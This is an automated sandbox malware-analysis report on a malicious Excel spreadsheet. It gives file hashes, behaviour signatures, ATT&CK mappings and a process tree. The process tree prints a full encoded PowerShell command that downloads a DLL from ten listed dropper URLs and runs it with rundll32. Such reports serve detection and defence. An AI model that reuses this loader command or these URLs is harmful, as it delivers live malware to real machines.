5b00c5f6e1b192858bf64564ebfd60bcce35442ce78fc0100f1cbac04bc57fca

General

Target

5b00c5f6e1b192858bf64564ebfd60bcce35442ce78fc0100f1cbac04bc57fca.xls
Size

144KB
MD5

0fbc6c107087ed9cd9e3fe4ee3ca0546
SHA1

38a3275b96c5ad0e6062580eac6ac16ba173785a
SHA256

5b00c5f6e1b192858bf64564ebfd60bcce35442ce78fc0100f1cbac04bc57fca
SHA512

a2da6df30aaa0c3dd846ddc65827f6d3ca9e6d23b7b10e41cf2b53ce99f96636187da3ac6796030be810608b34b93c995c8e9d919d8d0e5f2fde3b3764d15c08
SSDEEP

3072:E7cKoSsxzNDZLDZjlbR868O8K0c03D38TehYTdeHVhjqabWHLtyeGx6Z84TIfGxX:2cKoSsxzNDZLDZjlbR868O8K0c03D387

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://four.renovatiog.ltd/wp-includes/KGzoB0zsRKZjjEe/

exe.dropper

http://adultfriendfinder-adultfriends.com/mmfdoublepenetrationadultfriends/0pcEeJPfwMU/

exe.dropper

http://jwellery.fameitc.com/wp-includes/wQK7z9cEcwWCUG/

exe.dropper

http://arcgakuin-dev2.sukoburu-secure.com/l35uhr/R1evmjjhga/

exe.dropper

http://bimesarayenovin.ir/wp-admin/z464/

exe.dropper

http://hostfeeling.com/wp-admin/DidtoZk2EEc7BWXyhh/

exe.dropper

http://gardeningfilm.com/wp-content/Ef/

exe.dropper

http://moneymagnetentertainment.com/pz66t8y/Bd0sR0htA8mHibNJrk/

exe.dropper

https://100lamp.com.ua:443/sale/a/

exe.dropper

http://queenofluv.com/uemsub/peLSdHCvfhkge/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3912	1940	cmd.exe	82

Blocklisted process makes network request 4 IoCs

flow	pid	Process
27	2408	powershell.exe
31	2408	powershell.exe
34	2408	powershell.exe
36	2408	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1940	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2408	powershell.exe
2408	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2408	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
1940	EXCEL.EXE
1940	EXCEL.EXE
1940	EXCEL.EXE
1940	EXCEL.EXE
1940	EXCEL.EXE
1940	EXCEL.EXE
1940	EXCEL.EXE
1940	EXCEL.EXE
1940	EXCEL.EXE
1940	EXCEL.EXE
1940	EXCEL.EXE
1940	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1940 wrote to memory of 3912	1940	EXCEL.EXE	87
PID 1940 wrote to memory of 3912	1940	EXCEL.EXE	87
PID 3912 wrote to memory of 2408	3912	cmd.exe	89
PID 3912 wrote to memory of 2408	3912	cmd.exe	89

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\5b00c5f6e1b192858bf64564ebfd60bcce35442ce78fc0100f1cbac04bc57fca.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1940
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\programdata\uylcsekn.bat" "
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3912
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AZgBvAHUAcgAuAHIAZQBuAG8AdgBhAHQAaQBvAGcALgBsAHQAZAAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEsARwB6AG8AQgAwAHoAcwBSAEsAWgBqAGoARQBlAC8ALABoAHQAdABwADoALwAvAGEAZAB1AGwAdABmAHIAaQBlAG4AZABmAGkAbgBkAGUAcgAtAGEAZAB1AGwAdABmAHIAaQBlAG4AZABzAC4AYwBvAG0ALwBtAG0AZgBkAG8AdQBiAGwAZQBwAGUAbgBlAHQAcgBhAHQAaQBvAG4AYQBkAHUAbAB0AGYAcgBpAGUAbgBkAHMALwAwAHAAYwBFAGUASgBQAGYAdwBNAFUALwAsAGgAdAB0AHAAOgAvAC8AagB3AGUAbABsAGUAcgB5AC4AZgBhAG0AZQBpAHQAYwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AdwBRAEsANwB6ADkAYwBFAGMAdwBXAEMAVQBHAC8ALABoAHQAdABwADoALwAvAGEAcgBjAGcAYQBrAHUAaQBuAC0AZABlAHYAMgAuAHMAdQBrAG8AYgB1AHIAdQAtAHMAZQBjAHUAcgBlAC4AYwBvAG0ALwBsADMANQB1AGgAcgAvAFIAMQBlAHYAbQBqAGoAaABnAGEALwAsAGgAdAB0AHAAOgAvAC8AYgBpAG0AZQBzAGEAcgBhAHkAZQBuAG8AdgBpAG4ALgBpAHIALwB3AHAALQBhAGQAbQBpAG4ALwB6ADQANgA0AC8ALABoAHQAdABwADoALwAvAGgAbwBzAHQAZgBlAGUAbABpAG4AZwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ARABpAGQAdABvAFoAawAyAEUARQBjADcAQgBXAFgAeQBoAGgALwAsAGgAdAB0AHAAOgAvAC8AZwBhAHIAZABlAG4AaQBuAGcAZgBpAGwAbQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAEUAZgAvACwAaAB0AHQAcAA6AC8ALwBtAG8AbgBlAHkAbQBhAGcAbgBlAHQAZQBuAHQAZQByAHQAYQBpAG4AbQBlAG4AdAAuAGMAbwBtAC8AcAB6ADYANgB0ADgAeQAvAEIAZAAwAHMAUgAwAGgAdABBADgAbQBIAGkAYgBOAEoAcgBrAC8ALABoAHQAdABwAHMAOgAvAC8AMQAwADAAbABhAG0AcAAuAGMAbwBtAC4AdQBhADoANAA0ADMALwBzAGEAbABlAC8AYQAvACwAaAB0AHQAcAA6AC8ALwBxAHUAZQBlAG4AbwBmAGwAdQB2AC4AYwBvAG0ALwB1AGUAbQBzAHUAYgAvAHAAZQBMAFMAZABIAEMAdgBmAGgAawBnAGUALwAiAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAKAAkAHMAdAAgAGkAbgAgACQAcgBvAHcAaQBmAGkAdQBkACkAewAkAHIAcgB5AGkAdQBkAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAZgBnAGgAaQB1AHMAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAPQAiAGMAOgBcAHAAcgBvAGcAcgBhAG0AZABhAHQAYQBcACIAKwAkAHIAcgB5AGkAdQBkACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQARwBzAHIARgBKAFkAagBkADUANAA2AGQAcwApAHsAaQBmACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA1ADAAMAAwADAAKQB7ACQAZwBoAEQARABGAEoASABrADUAZgA9ACIAYwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwAkAHQAeQBpAGQAdQBpAHMAZABmAGYAPQAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKwAiACwAZgAiACsAJABmAGcAaABpAHUAcwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGcAaABEAEQARgBKAEgAawA1AGYAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJAB0AHkAaQBkAHUAaQBzAGQAZgBmADsAYgByAGUAYQBrADsAfQB9AH0A
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2408

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_idr1ae5w.t5s.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
1KB

MD5
6eba694c26022f7f1839b3be30312e9c

SHA1
e6801f13bb9c2b7b0faedf7a9838cbe87334c52d

SHA256
341e55afbd2f48322acd947920d88b93f197603e2698193fb5e2e2b5c0a35329

SHA512
8eefb6ca4f414d27234635cb852520f78fdb8d143f7045f528f1141f47b46ed24bc5938124ea1127df094fcf1ef0b56393a7d783a63f295c7cb9838b3334bf42

Download Submit
C:\programdata\uylcsekn.bat

Filesize
3KB

MD5
b3e87e4fda09592bebf3522c319e8b79

SHA1
dc061034bbcc3a397e046b5e512ed0235a397fac

SHA256
d47ce3fd5ecb89f6a9ab9c71b1541f27236da06a39732efdee85cbaf093a8246

SHA512
9b1576eea10d6d70fc8e33bf3df994ae0d02ae6c963c6baa270f095ced7240aae85501a92c9e7f0f6b25d65f356deff4aa644d6073d39d455d15d864e12e7477

Download Submit
memory/1940-9-0x00007FFFF4EB0000-0x00007FFFF50A5000-memory.dmp

Filesize
2.0MB

Download
memory/1940-6-0x00007FFFF4EB0000-0x00007FFFF50A5000-memory.dmp

Filesize
2.0MB

Download
memory/1940-20-0x00007FFFF4EB0000-0x00007FFFF50A5000-memory.dmp

Filesize
2.0MB

Download
memory/1940-5-0x00007FFFB4F30000-0x00007FFFB4F40000-memory.dmp

Filesize
64KB

Download
memory/1940-8-0x00007FFFF4EB0000-0x00007FFFF50A5000-memory.dmp

Filesize
2.0MB

Download
memory/1940-0-0x00007FFFB4F30000-0x00007FFFB4F40000-memory.dmp

Filesize
64KB

Download
memory/1940-7-0x00007FFFF4EB0000-0x00007FFFF50A5000-memory.dmp

Filesize
2.0MB

Download
memory/1940-10-0x00007FFFF4EB0000-0x00007FFFF50A5000-memory.dmp

Filesize
2.0MB

Download
memory/1940-12-0x00007FFFF4EB0000-0x00007FFFF50A5000-memory.dmp

Filesize
2.0MB

Download
memory/1940-13-0x00007FFFF4EB0000-0x00007FFFF50A5000-memory.dmp

Filesize
2.0MB

Download
memory/1940-11-0x00007FFFB2AB0000-0x00007FFFB2AC0000-memory.dmp

Filesize
64KB

Download
memory/1940-14-0x00007FFFB2AB0000-0x00007FFFB2AC0000-memory.dmp

Filesize
64KB

Download
memory/1940-16-0x00007FFFF4EB0000-0x00007FFFF50A5000-memory.dmp

Filesize
2.0MB

Download
memory/1940-18-0x00007FFFF4EB0000-0x00007FFFF50A5000-memory.dmp

Filesize
2.0MB

Download
memory/1940-1-0x00007FFFF4F4D000-0x00007FFFF4F4E000-memory.dmp

Filesize
4KB

Download
memory/1940-4-0x00007FFFB4F30000-0x00007FFFB4F40000-memory.dmp

Filesize
64KB

Download
memory/1940-19-0x00007FFFF4EB0000-0x00007FFFF50A5000-memory.dmp

Filesize
2.0MB

Download
memory/1940-17-0x00007FFFF4EB0000-0x00007FFFF50A5000-memory.dmp

Filesize
2.0MB

Download
memory/1940-15-0x00007FFFF4EB0000-0x00007FFFF50A5000-memory.dmp

Filesize
2.0MB

Download
memory/1940-36-0x00007FFFF4EB0000-0x00007FFFF50A5000-memory.dmp

Filesize
2.0MB

Download
memory/1940-39-0x00007FFFF4EB0000-0x00007FFFF50A5000-memory.dmp

Filesize
2.0MB

Download
memory/1940-2-0x00007FFFB4F30000-0x00007FFFB4F40000-memory.dmp

Filesize
64KB

Download
memory/1940-21-0x00007FFFF4EB0000-0x00007FFFF50A5000-memory.dmp

Filesize
2.0MB

Download
memory/1940-3-0x00007FFFB4F30000-0x00007FFFB4F40000-memory.dmp

Filesize
64KB

Download
memory/1940-108-0x00007FFFF4EB0000-0x00007FFFF50A5000-memory.dmp

Filesize
2.0MB

Download
memory/1940-105-0x00007FFFF4EB0000-0x00007FFFF50A5000-memory.dmp

Filesize
2.0MB

Download
memory/1940-106-0x00007FFFF4F4D000-0x00007FFFF4F4E000-memory.dmp

Filesize
4KB

Download
memory/1940-107-0x00007FFFF4EB0000-0x00007FFFF50A5000-memory.dmp

Filesize
2.0MB

Download
memory/2408-101-0x000001256F830000-0x000001256FFD6000-memory.dmp

Filesize
7.6MB

Download
memory/2408-95-0x000001256EB00000-0x000001256EB22000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads